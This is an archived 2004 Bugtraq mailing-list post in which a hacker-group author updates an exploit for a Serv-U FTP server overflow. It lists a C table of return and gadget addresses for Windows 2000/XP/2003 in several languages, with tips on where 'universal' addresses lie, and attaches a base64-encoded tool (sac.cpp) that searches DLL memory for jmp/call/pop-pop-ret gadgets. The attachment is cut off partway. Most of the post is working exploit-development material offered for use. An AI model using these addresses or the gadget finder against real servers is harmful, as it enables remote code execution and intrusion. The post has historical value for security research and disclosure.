[34030] in bugtraq

home help back first fref pref prev next nref lref last post

Serv-U Real Target and Search ASM Code Tool for Overflow Exploit.

daemon@ATHENA.MIT.EDU (lion)
Thu Mar 4 14:17:43 2004

Message-ID: <20040304145818.2562.qmail@mail.securityfocus.com>
Date: Thu, 4 Mar 2004 23:28:30 +0800
From: "lion" <lion@cnhonker.net>
To: "bugtraq" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=====001_Dragon067640841683_====="

--=====001_Dragon067640841683_=====
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: 7bit

hi,

someone said my exploit make a carsh. 
because i remove some target.
please use this target:

==============================================
struct
{
	DWORD	dwJMP;
	char	*szDescription;
}targets[] =
{
	{0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},	//msvcrt.dll pop,pop,ret addr
//	{0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},		//msvcrt.dll pop,pop,ret addr
	{0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},		//msvcrt.dll pop,pop,ret addr    

//	{0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all EN win2000,winxp,win2003
	{0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all TW win2000,winxp,win2003
//	{0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},		//jmp ebx addr for all TW win2000
	{0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},		//jmp ebx addr for all KR win2000

	{0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003

	{0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},		//setupapi.dll jmp esp addr
	{0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},		//setupapi.dll jmp esp addr

//	{0x7802ba77,"Serv-U test"},         
},v;
============================

and you can use sac.cpp (search asm code tool) to find other version system's universal address.

1. The magic address found in msvcrt.dll on the same systems(for example,win2000 sp4) are universal, even they have diffrent system language.
2. The magic address found from the address 0x7ffa0000 is universal on the same language system(for example, the address can work on the Chinese Simplified win2k,winxp,win2003 system).

 enjoy it. :) 

               lion
               lion@cnhonker.net
               http://www.cnhonker.com
               2004-03-04

--=====001_Dragon067640841683_=====
Content-Type: application/octet-stream;
	name="sac.cpp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="sac.cpp"

LyoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KKiANCiogZXNwLmNwcCAtIFNlYXJjaCBB
U00gQ29kZSBmb3IgT3ZlcmZsb3cgZXhwbG9pdC4NCioNCiogQ29weXJpZ2h0IChDKSAyMDA0IEhV
QyBBbGwgUmlnaHRzIFJlc2VydmVkLg0KKg0KKiBBdXRob3IgICA6IGxpb24NCiogICAgICAgICAg
OiBsaW9uQGNuaG9ua2VyLm5ldA0KKiAgICAgICAgICA6IGh0dHA6Ly93d3cuY25ob25rZXIuY29t
DQoqICAgICAgICAgIDoNCiogTm90aWNlICAgOjEuIFRoZSBtYWdpYyBhZGRyZXNzIGZvdW5kIGlu
IG1zdmNydC5kbGwgb24gdGhlIHNhbWUgc3lzdGVtcyhmb3IgZXhhbXBsZSx3aW4yMDAwIHNwNCkg
YXJlIHVuaXZlcnNhbCwgZXZlbiB0aGV5IGhhdmUgZGlmZnJlbnQgc3lzdGVtIGxhbmd1YWdlLg0K
KiAgICAgICAgICA6Mi4gVGhlIG1hZ2ljIGFkZHJlc3MgZm91bmQgZnJvbSB0aGUgYWRkcmVzcyAw
eDdmZmEwMDAwIGlzIHVuaXZlcnNhbCBvbiB0aGUgc2FtZSBsYW5ndWFnZSBzeXN0ZW0oZm9yIGV4
YW1wbGUsIHRoZSBhZGRyZXNzIGNhbiB3b3JrIG9uIHRoZSBDaGluZXNlIFNpbXBsaWZpZWQgd2lu
Mmssd2lueHAsd2luMjAwMyBzeXN0ZW0pIA0KKiAgICAgICAgICA6DQoqIERhdGUgICAgIDogMjAw
NC0wMS0yOA0KKiAgICAgICAgICA6DQoqIENvbXBsaWUgIDogY2wgc2FjLmNwcA0KKiAgICAgICAg
ICA6DQoqIFVzYWdlICAgIDpFOlw+Y2wgc2FjLmNwcA0KKiAgICAgICAgICA6DQoqICAgICAgICAg
IDpFOlw+c2FjIC1yIHhwcmV0IC1kIG5vZGxsDQoqICAgICAgICAgIDoNCiogICAgICAgICAgOkU6
XD5zYWMgLXIgeHByZXQgLWQgbXN2Y3J0LmRsbA0KKiAgICAgICAgICA6DQoqIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0NCioNCiogQVNNIENvZGU6DQoqDQoqCSAgIGNhbGwgZWF4CQlGRiBEMA0K
KgkgICBjYWxsIGVieAkJRkYgRDMNCioJICAgY2FsbCBlY3gJCUZGIEQxDQoqCSAgIGNhbGwgZWR4
CQlGRiBEMgkJDQoqCSAgIGNhbGwgZWRpCQlGRiBENw0KKgkgICBjYWxsIGVzaQkJRkYgRDYNCioJ
ICAgY2FsbCBlc3AJCUZGIEQ0DQoqCSAgIGNhbGwgZWJwCQlGRiBENQoqDQoqCSAgIGNhbGwgW2Vh
eF0JRkYgMTANCioJICAgY2FsbCBbZWJ4XQlGRiAxMw0KKgkgICBjYWxsIFtlY3hdCUZGIDExDQoq
CSAgIGNhbGwgW2VkeF0JRkYgMTINCioJICAgY2FsbCBbZWRpXQlGRiAxNw0KKgkgICBjYWxsIFtl
c2ldCUZGIDE2DQoqCSAgIGNhbGwgW2VzcF0JRkYgMTQgMjQNCioJICAgY2FsbCBbZWJwXSAgIEZG
IDU1IDAwDQoqCSAgIA0KKgkgICBqbXAgZWF4CQlGRiBFMA0KKgkgICBqbXAgZWJ4CQlGRiBFMw0K
KgkgICBqbXAgZWN4CQlGRiBFMQ0KKgkgICBqbXAgZWR4CQlGRiBFMg0KKgkgICBqbXAgZWRpCQlG
RiBFNw0KKgkgICBqbXAgZXNpCQlGRiBFNg0KKgkgICBqbXAgZXNwCQlGRiBFNA0KKgkgICBqbXAg
ZWJwCQlGRiBFNQ0KKg0KKgkgICBqbXAgW2VheF0JRkYgMjANCioJICAgam1wIFtlYnhdCUZGIDIz
DQoqCSAgIGptcCBbZWN4XQlGRiAyMQ0KKgkgICBqbXAgW2VkeF0JRkYgMjINCioJICAgam1wIFtl
ZGldCUZGIDI3DQoqCSAgIGptcCBbZXNpXQlGRiAyNg0KKgkgICBqbXAgW2VzcF0JRkYgMjQgMjQN
CioJICAgam1wIFtlYnBdCUZGIDY1IDAwDQoqDQoqCSAgIHB1c2ggZWF4CQk1MA0KKgkgICBwdXNo
IGVieAkJNTMNCioJICAgcHVzaCBlY3gJCTUxDQoqCSAgIHB1c2ggZWR4CQk1Mg0KKgkgICBwdXNo
IGVkaQkJNTcNCioJICAgcHVzaCBlc2kJCTU2DQoqCSAgIHB1c2ggZXNwCQk1NA0KKgkgICBwdXNo
IGVicAkJNTUNCioNCioJICAgcHVzaCBbZWF4XQlGRiAzMA0KKgkgICBwdXNoIFtlYnhdCUZGIDMz
DQoqCSAgIHB1c2ggW2VjeF0JRkYgMzENCioJICAgcHVzaCBbZWR4XQlGRiAzMg0KKgkgICBwdXNo
IFtlZGldCUZGIDM3DQoqCSAgIHB1c2ggW2VzaV0JRkYgMzYNCioJICAgcHVzaCBbZXNwXQlGRiAz
NCAyNA0KKgkgICBwdXNoIFtlYnBdCUZGIDc1IDAwDQoqCioJICAgcG9wIGVheAkJNTgNCioJICAg
cG9wIGVieAkJNUINCioJICAgcG9wIGVjeAkJNTkNCioJICAgcG9wIGVkeAkJNUENCioJICAgcG9w
IGVkaQkJNUYNCioJICAgcG9wIGVzaQkJNUUNCioJICAgcG9wIGVzcAkJNUMNCioJICAgcG9wIGVi
cAkJNUQNCioNCioJICAgcmV0CQkJQzMNCioNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0K
Ki8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8
d2luZG93cy5oPg0KDQojcHJhZ21hIGNvbW1lbnQobGliLCAiVmVyc2lvbi5saWIiKQ0KDQojZGVm
aW5lIFZFUlNJT04gIAkJIjAuMzAiDQojZGVmaW5lIFNFQVJDSExFTgkJMTANCg0Kdm9pZCB1c2Fn
ZShjaGFyICpwKQ0Kew0KCXByaW50ZigiVXNhZ2U6XHQlc1x0LXIgPHJlZ2lzdGVyPiBbT3B0aW9u
c11cbiINCgkJIlx0XHQtdiBTaG93IFN5c3RlbSBWZXJzaW9uXG5cbiINCgkJIltPcHRpb25zOl1c
biINCgkJIlx0LXJcdHJlZ2lzdGVyIFx0RUFYLCBFQlgsIEVDWCwgRURYLCBFU0ksIEVESSwgRVNQ
LCBFQlAsIFhQUkVUXG4iDQoJCSJcdC1kXHRkbGxuYW1lIFx0Tk9ETEwgKDB4N0ZGQTAwMDApLCBN
U1ZDUlQsIFVTRVIzMiBvciBPdGhlclxuIg0KLy8JCSJcdC1sXHRsb2dmaWxlIFx0bG9nLnR4dFxu
Ig0KCQkiXG4iLCBwKTsNCn0NCg0KQk9PTCBEaXNwbGF5U3lzdGVtVmVyc2lvbigpDQp7DQogICBP
U1ZFUlNJT05JTkZPRVggb3N2aTsNCiAgIEJPT0wgYk9zVmVyc2lvbkluZm9FeDsNCg0KICAgLy8g
VHJ5IGNhbGxpbmcgR2V0VmVyc2lvbkV4IHVzaW5nIHRoZSBPU1ZFUlNJT05JTkZPRVggc3RydWN0
dXJlLg0KICAgLy8NCiAgIC8vIElmIHRoYXQgZmFpbHMsIHRyeSB1c2luZyB0aGUgT1NWRVJTSU9O
SU5GTyBzdHJ1Y3R1cmUuDQoNCiAgIFplcm9NZW1vcnkoJm9zdmksIHNpemVvZihPU1ZFUlNJT05J
TkZPRVgpKTsNCiAgIG9zdmkuZHdPU1ZlcnNpb25JbmZvU2l6ZSA9IHNpemVvZihPU1ZFUlNJT05J
TkZPRVgpOw0KDQogICBpZiggIShiT3NWZXJzaW9uSW5mb0V4ID0gR2V0VmVyc2lvbkV4ICgoT1NW
RVJTSU9OSU5GTyAqKSAmb3N2aSkpICkNCiAgIHsNCiAgICAgIC8vIElmIE9TVkVSU0lPTklORk9F
WCBkb2Vzbid0IHdvcmssIHRyeSBPU1ZFUlNJT05JTkZPLg0KDQogICAgICBvc3ZpLmR3T1NWZXJz
aW9uSW5mb1NpemUgPSBzaXplb2YgKE9TVkVSU0lPTklORk8pOw0KICAgICAgaWYgKCEgR2V0VmVy
c2lvbkV4ICggKE9TVkVSU0lPTklORk8gKikgJm9zdmkpICkgDQogICAgICAgICByZXR1cm4gRkFM
U0U7DQogICB9DQoNCiAgIHN3aXRjaCAob3N2aS5kd1BsYXRmb3JtSWQpDQogICB7DQogICAgICBj
YXNlIFZFUl9QTEFURk9STV9XSU4zMl9OVDoNCg0KICAgICAgLy8gVGVzdCBmb3IgdGhlIHByb2R1
Y3QuDQoNCiAgICAgICAgIGlmICggb3N2aS5kd01ham9yVmVyc2lvbiA8PSA0ICkNCiAgICAgICAg
ICAgIHByaW50ZigiTWljcm9zb2Z0IFdpbmRvd3MgTlQgIik7DQoNCiAgICAgICAgIGlmICggb3N2
aS5kd01ham9yVmVyc2lvbiA9PSA1ICYmIG9zdmkuZHdNaW5vclZlcnNpb24gPT0gMCApDQogICAg
ICAgICAgICBwcmludGYgKCJNaWNyb3NvZnQgV2luZG93cyAyMDAwICIpOw0KDQogICAgICAgICBp
ZiAoIG9zdmkuZHdNYWpvclZlcnNpb24gPT0gNSAmJiBvc3ZpLmR3TWlub3JWZXJzaW9uID09IDEg
KQ0KICAgICAgICAgICAgcHJpbnRmICgiTWljcm9zb2Z0IFdpbmRvd3MgWFAgIik7DQogICAgICAg
ICANCiAgICAgICAgIGlmICggb3N2aS5kd01ham9yVmVyc2lvbiA9PSA1ICYmIG9zdmkuZHdNaW5v
clZlcnNpb24gPT0gMiApDQogICAgICAgICAgICBwcmludGYgKCJNaWNyb3NvZnQgV2luZG93cyAy
MDAzICIpOw0KDQogICAgICAvLyBUZXN0IGZvciBwcm9kdWN0IHR5cGUuDQoNCiAgICAgICAgIGlm
KCBiT3NWZXJzaW9uSW5mb0V4ICkNCiAgICAgICAgIHsNCiAgICAgICAgICAgIGlmICggb3N2aS53
UHJvZHVjdFR5cGUgPT0gVkVSX05UX1dPUktTVEFUSU9OICkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgIGlmKCBvc3ZpLndTdWl0ZU1hc2sgJiBWRVJfU1VJVEVfUEVSU09OQUwgKQ0KICAg
ICAgICAgICAgICAgICAgcHJpbnRmICggIlBlcnNvbmFsICIgKTsNCiAgICAgICAgICAgICAgIGVs
c2UNCiAgICAgICAgICAgICAgICAgIHByaW50ZiAoICJQcm9mZXNzaW9uYWwgIiApOw0KICAgICAg
ICAgICAgfQ0KDQogICAgICAgICAgICBlbHNlIGlmICggb3N2aS53UHJvZHVjdFR5cGUgPT0gVkVS
X05UX1NFUlZFUiApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICBpZiggb3N2aS53U3Vp
dGVNYXNrICYgVkVSX1NVSVRFX0RBVEFDRU5URVIgKQ0KICAgICAgICAgICAgICAgICAgcHJpbnRm
ICggIkRhdGFDZW50ZXIgU2VydmVyICIgKTsNCiAgICAgICAgICAgICAgIGVsc2UgaWYoIG9zdmku
d1N1aXRlTWFzayAmIFZFUl9TVUlURV9FTlRFUlBSSVNFICkNCiAgICAgICAgICAgICAgICAgIHBy
aW50ZiAoICJBZHZhbmNlZCBTZXJ2ZXIgIiApOw0KICAgICAgICAgICAgICAgZWxzZQ0KICAgICAg
ICAgICAgICAgICAgcHJpbnRmICggIlNlcnZlciAiICk7DQogICAgICAgICAgICB9DQogICAgICAg
ICB9DQogDQoNCiAgICAgIC8vIERpc3BsYXkgdmVyc2lvbiwgc2VydmljZSBwYWNrIChpZiBhbnkp
LCBhbmQgYnVpbGQgbnVtYmVyLg0KDQogICAgICAgICBpZiAoIG9zdmkuZHdNYWpvclZlcnNpb24g
PD0gNCApDQogICAgICAgICB7DQogICAgICAgICAgICBwcmludGYgKCJ2ZXJzaW9uICVkLiVkICVz
IChCdWlsZCAlZClcbiIsDQogICAgICAgICAgICAgICBvc3ZpLmR3TWFqb3JWZXJzaW9uLA0KICAg
ICAgICAgICAgICAgb3N2aS5kd01pbm9yVmVyc2lvbiwNCiAgICAgICAgICAgICAgIG9zdmkuc3pD
U0RWZXJzaW9uLA0KICAgICAgICAgICAgICAgb3N2aS5kd0J1aWxkTnVtYmVyICYgMHhGRkZGKTsN
CiAgICAgICAgIH0NCiAgICAgICAgIGVsc2UNCiAgICAgICAgIHsgDQogICAgICAgICAgICBwcmlu
dGYgKCIlcyAoQnVpbGQgJWQpXG4iLA0KICAgICAgICAgICAgICAgb3N2aS5zekNTRFZlcnNpb24s
DQogICAgICAgICAgICAgICBvc3ZpLmR3QnVpbGROdW1iZXIgJiAweEZGRkYpOw0KICAgICAgICAg
fQ0KICAgICAgICAgYnJlYWs7DQogICB9DQogICByZXR1cm4gVFJVRTsgDQp9DQoNCg0KaW50IG1h
aW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCglib29sIGJMb2FkZWQgPSBmYWxzZTsNCglI
SU5TVEFOQ0UgaDsgDQoJY2hhciAqcERsbE5hbWUgPSAibXN2Y3J0LmRsbCI7IA0KCWNoYXIgKnBS
ZWdpc3RlciA9ICJlYngiOw0KCWJvb2wgYkVBWCA9IGZhbHNlLCBiRUJYID0gZmFsc2UsIGJFQ1gg
PSBmYWxzZSwgYkVEWCA9IGZhbHNlLCBiRURJID0gZmFsc2UsIGJFU0kgPSBmYWxzZSwgYkVTUCA9
IGZhbHNlLCBiRUJQID0gZmFsc2UsIGJSRVQgPSBmYWxzZTsNCglpbnQgY291bnQgPSAwLCBtYXli
ZSA9IDA7DQoNCglwcmludGYoIlNlYXJjaCBBU00gQ29kZSBUb29sIGZvciBPdmVyZmxvdyBFeHBs
b2l0IFYlc1xuIg0KCQkiQ29kZSBieSBsaW9uIChsaW9uQGNuaG9ua2VyLm5ldClcbiINCgkJIldl
bGNvbWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5jbmhvbmtlci5jb21cblxuIg0KCQksIFZF
UlNJT04pOw0KCQkNCglpZihhcmdjIDwgMikNCgl7DQoJCXVzYWdlKGFyZ3ZbMF0pOw0KCQlyZXR1
cm4gLTE7DQoJfQ0KCWVsc2UgDQoJaWYoYXJnYyA9PSAyICYmIGFyZ3ZbMV1bMV0gPT0gJ3YnKQ0K
CXsNCgkJRGlzcGxheVN5c3RlbVZlcnNpb24oKTsNCgkJcmV0dXJuIDE7DQoJfQ0KDQoJZm9yKGlu
dCBpPTE7aTxhcmdjO2krPTIpDQoJew0KCQlpZihzdHJsZW4oYXJndltpXSkgIT0gMikNCgkJew0K
CQkJdXNhZ2UoYXJndlswXSk7DQoJCQlyZXR1cm4gLTE7DQoJCX0NCgkJLy8gY2hlY2sgcGFyYW1l
dGVyDQoJCWlmKGkgPT0gYXJnYy0xKQ0KCQl7DQoJCQl1c2FnZShhcmd2WzBdKTsNCgkJCXJldHVy
biAtMTsNCgkJfQ0KCQlzd2l0Y2goYXJndltpXVsxXSkNCgkJew0KCQkJY2FzZSAncic6DQoJCQkJ
cFJlZ2lzdGVyID0gYXJndltpKzFdOw0KCQkJCQkJCQkNCgkJCQlpZihzdHJpY21wKHBSZWdpc3Rl
ciwgImVheCIpID09IDApDQoJCQkJCWJFQVggPSB0cnVlOw0KCQkJCWVsc2UNCgkJCQlpZihzdHJp
Y21wKHBSZWdpc3RlciwgImVieCIpID09IDApDQoJCQkJCWJFQlggPSB0cnVlOwkJCQkJDQoJCQkJ
ZWxzZQ0KCQkJCWlmKHN0cmljbXAocFJlZ2lzdGVyLCAiZWN4IikgPT0gMCkNCgkJCQkJYkVDWCA9
IHRydWU7DQoJCQkJZWxzZQ0KCQkJCWlmKHN0cmljbXAocFJlZ2lzdGVyLCAiZWR4IikgPT0gMCkN
CgkJCQkJYkVEWCA9IHRydWU7DQoJCQkJZWxzZQ0KCQkJCWlmKHN0cmljbXAocFJlZ2lzdGVyLCAi
ZWRpIikgPT0gMCkNCgkJCQkJYkVESSA9IHRydWU7DQoJCQkJZWxzZQ0KCQkJCWlmKHN0cmljbXAo
cFJlZ2lzdGVyLCAiZXNpIikgPT0gMCkNCgkJCQkJYkVTSSA9IHRydWU7DQoJCQkJZWxzZQ0KCQkJ
CWlmKHN0cmljbXAocFJlZ2lzdGVyLCAiZXNwIikgPT0gMCkNCgkJCQkJYkVTUCA9IHRydWU7DQoJ
CQkJZWxzZQ0KCQkJCWlmKHN0cmljbXAocFJlZ2lzdGVyLCAiZWJwIikgPT0gMCkNCgkJCQkJYkVC
UCA9IHRydWU7CQ0KCQkJCWVsc2UNCgkJCQlpZihzdHJpY21wKHBSZWdpc3RlciwgInhwcmV0Iikg
PT0gMCkNCgkJCQkJYlJFVCA9IHRydWU7DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJdXNhZ2UoYXJn
dlswXSk7CQ0KCQkJCQlyZXR1cm4gLTE7CQ0KCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ2Qn
Og0KCQkJCXBEbGxOYW1lID0gYXJndltpKzFdOw0KCQkJCWJyZWFrOwkNCgkJfQ0KCX0NCgkNCglE
aXNwbGF5U3lzdGVtVmVyc2lvbigpOw0KCQkNCglwcmludGYoIlNlYXJjaCBNb2RlIG9yIFJlZ2lz
dGVyOiAlc1xuIiwgcFJlZ2lzdGVyKTsNCg0KCS8vIG5vIGRsbCBmb3Igc2VhcmNoLg0KCWlmKHN0
cmljbXAocERsbE5hbWUsICJub2RsbCIpID09IDApDQoJew0KCQloID0gKEhJTlNUQU5DRV9fICop
MHg3RkZhMDAwMDsNCgkJDQoJCXByaW50ZigiU3RhcnQgc2VhcmNoIEFTTSBjb2RlIGluOiAweDdG
RkEwMDAwXG5cbiIsIHBSZWdpc3Rlcik7DQoJfQ0KCWVsc2UNCgl7DQoJCS8vIExvYWQgRExMLg0K
CQloID0gR2V0TW9kdWxlSGFuZGxlKHBEbGxOYW1lKTsNCgkJaWYoaCA9PSBOVUxMKSANCgkJeyAN
CgkJCWggPSBMb2FkTGlicmFyeShwRGxsTmFtZSk7IA0KCQkJaWYoaCA9PSBOVUxMKSANCgkJCXsg
DQoJCQkJcHJpbnRmKCJMb2FkaW5nIERMTCBlcnJvcjogJXNcbiIsIHBEbGxOYW1lKTsNCgkJCQly
ZXR1cm4gLTE7IA0KCQkJfSANCgkJCQ0KCQkJcHJpbnRmKCJTdGFydCBTZWFyY2ggQVNNIENvZGUg
aW46ICVzXG5cbiIsIHBEbGxOYW1lKTsNCg0KCQkJYkxvYWRlZCA9IHRydWU7IA0KCQl9IA0KCX0N
Cg0KLy8gU2VhcmNoIFRPUCBTRUgNCg0KCXVuc2lnbmVkIGludCAqdW47DQoJdW5zaWduZWQgaW50
IHNlaGFkZHI7DQoNCglITU9EVUxFIGhrID0gTG9hZExpYnJhcnkoImtlcm5lbDMyIik7IA0KCQ0K
CXVuID0gKHVuc2lnbmVkIGludCAqKUdldFByb2NBZGRyZXNzKGhrLCAiU2V0VW5oYW5kbGVkRXhj
ZXB0aW9uRmlsdGVyIik7DQoNCi8vCXVuID0gKGludCAqKVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRl
cjsNCglfYXNtew0KCQltb3YgZWF4LHVuDQoJCWFkZCBlYXgsNQ0KCQltb3YgZWJ4LFtlYXhdDQoJ
CW1vdiBzZWhhZGRyLCBlYngNCgl9DQoNCglwcmludGYoIjB4JVhcdFRPUCBTRUhcblxuIiwgc2Vo
YWRkcik7DQoNCg0KCUJZVEUqIHB0ciA9IChCWVRFKiloOyANCglib29sIGRvbmUgPSBmYWxzZTsg
DQoNCgkvLyBTdGFydCBTZWFyY2ggQVNNIENvZGUNCglmb3IoVUxPTkcgeSA9IDA7ICFkb25lOyB5
KyspIA0KCXsgDQoJCXRyeSANCgkJeyANCgkJCWlmKHB0clt5XSA9PSAweEZGICkNCgkJCXsNCgkJ
CQlVTE9ORyBwb3MgPSAoVUxPTkcpcHRyICsgeTsgDQoJCQkJDQoJCQkJaWYoYkVBWCkNCgkJCQl7
DQoJCQkJCWlmKHB0clt5KzFdID09IDB4RDApDQoJCQkJCXsNCgkJCQkJCXByaW50ZigiMHglWFx0
Y2FsbCBlYXhcclxuIiwgcG9zKTsNCgkJCQkJCWNvdW50Kys7DQoJCQkJCX0NCgkJCQkJZWxzZQ0K
CQkJCQlpZihwdHJbeSsxXSA9PSAweEUwKSANCgkJCQkJeyANCgkJCQkJCXByaW50ZigiMHglWFx0
am1wIGVheFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQrKzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQll
bHNlDQoJCQkJaWYoYkVCWCkNCgkJCQl7DQoJCQkJCWlmKHB0clt5KzFdID09IDB4RDMpDQoJCQkJ
CXsNCgkJCQkJCXByaW50ZigiMHglWFx0Y2FsbCBlYnhcclxuIiwgcG9zKTsNCgkJCQkJCWNvdW50
Kys7DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQlpZihwdHJbeSsxXSA9PSAweEUzKSANCgkJCQkJ
eyANCgkJCQkJCXByaW50ZigiMHglWFx0am1wIGVieFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQr
KzsNCgkJCQkJfQkNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCWlmKGJFQ1gpDQoJCQkJew0KCQkJCQlp
ZihwdHJbeSsxXSA9PSAweEQxKQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjB4JVhcdGNhbGwgZWN4
XHJcbiIsIHBvcyk7DQoJCQkJCQljb3VudCsrOw0KCQkJCQl9CQ0KCQkJCQllbHNlDQoJCQkJCWlm
KHB0clt5KzFdID09IDB4RTEpIA0KCQkJCQl7IA0KCQkJCQkJcHJpbnRmKCIweCVYXHRqbXAgZWN4
XHJcbiIsIHBvcyk7DQoJCQkJCQljb3VudCsrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJ
CQlpZihiRURYKQ0KCQkJCXsNCgkJCQkJaWYocHRyW3krMV0gPT0gMHhEMikNCgkJCQkJew0KCQkJ
CQkJcHJpbnRmKCIweCVYXHRjYWxsIGVkeFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQrKzsNCgkJ
CQkJfQkNCgkJCQkJZWxzZQ0KCQkJCQlpZihwdHJbeSsxXSA9PSAweEUyKSANCgkJCQkJeyANCgkJ
CQkJCXByaW50ZigiMHglWFx0am1wIGVkeFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQrKzsNCgkJ
CQkJfQ0KCQkJCX0NCgkJCQllbHNlDQoJCQkJaWYoYkVESSkNCgkJCQl7DQoJCQkJCWlmKHB0clt5
KzFdID09IDB4RDcpDQoJCQkJCXsNCgkJCQkJCXByaW50ZigiMHglWFx0Y2FsbCBlZGlcclxuIiwg
cG9zKTsNCgkJCQkJCWNvdW50Kys7DQoJCQkJCX0JDQoJCQkJCWVsc2UNCgkJCQkJaWYocHRyW3kr
MV0gPT0gMHhFNykgDQoJCQkJCXsgDQoJCQkJCQlwcmludGYoIjB4JVhcdGptcCBlZGlcclxuIiwg
cG9zKTsNCgkJCQkJCWNvdW50Kys7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCWlmKGJF
U0kpDQoJCQkJew0KCQkJCQlpZihwdHJbeSsxXSA9PSAweEQ2KQ0KCQkJCQl7DQoJCQkJCQlwcmlu
dGYoIjB4JVhcdGNhbGwgZXNpXHJcbiIsIHBvcyk7DQoJCQkJCQljb3VudCsrOw0KCQkJCQl9DQoJ
CQkJCWVsc2UNCgkJCQkJaWYocHRyW3krMV0gPT0gMHhFNikgDQoJCQkJCXsgDQoJCQkJCQlwcmlu
dGYoIjB4JVhcdGptcCBlc2lcclxuIiwgcG9zKTsNCgkJCQkJCWNvdW50Kys7DQoJCQkJCX0gDQoJ
CQkJfQ0KCQkJCWVsc2UNCgkJCQlpZihiRVNQKQ0KCQkJCXsJCQkJCQ0KCQkJCQlpZihwdHJbeSsx
XSA9PSAweEQ0KQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjB4JVhcdGNhbGwgZXNwXHJcbiIsIHBv
cyk7DQoJCQkJCQljb3VudCsrOw0KCQkJCQl9DQoJCQkJCWVsc2UJDQoJCQkJCWlmKHB0clt5KzFd
ID09IDB4RTQpIA0KCQkJCQl7IA0KCQkJCQkJcHJpbnRmKCIweCVYXHRqbXAgZXNwXHJcbiIsIHBv
cyk7DQoJCQkJCQljb3VudCsrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQlpZihiRUJQ
KQ0KCQkJCXsNCgkJCQkJaWYocHRyW3krMV0gPT0gMHhENSkNCgkJCQkJew0KCQkJCQkJcHJpbnRm
KCIweCVYXHRjYWxsIGVicFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQrKzsNCgkJCQkJfQkNCgkJ
CQkJZWxzZQ0KCQkJCQlpZihwdHJbeSsxXSA9PSAweEU1KSANCgkJCQkJeyANCgkJCQkJCXByaW50
ZigiMHglWFx0am1wIGVicFxyXG4iLCBwb3MpOw0KCQkJCQkJY291bnQrKzsNCgkJCQkJfQ0KCQkJ
CX0NCgkJCX0NCgkJCWVsc2UgaWYocHRyW3ldID09IDB4QzMpDQoJCQl7CQkJDQoNCgkJCQkvLyBT
dGFydCBzZWFyY2ggcG9wIHJlZywgcG9wIHJlZywgcmV0IGFkZHIuDQovLwkJCQlpZihiUkVUIHx8
IGJFQlgpDQoJCQkJaWYoYlJFVCkNCgkJCQl7DQoJCQkJCWlmKChwdHJbeS0xXSA+PSAweDU4ICYm
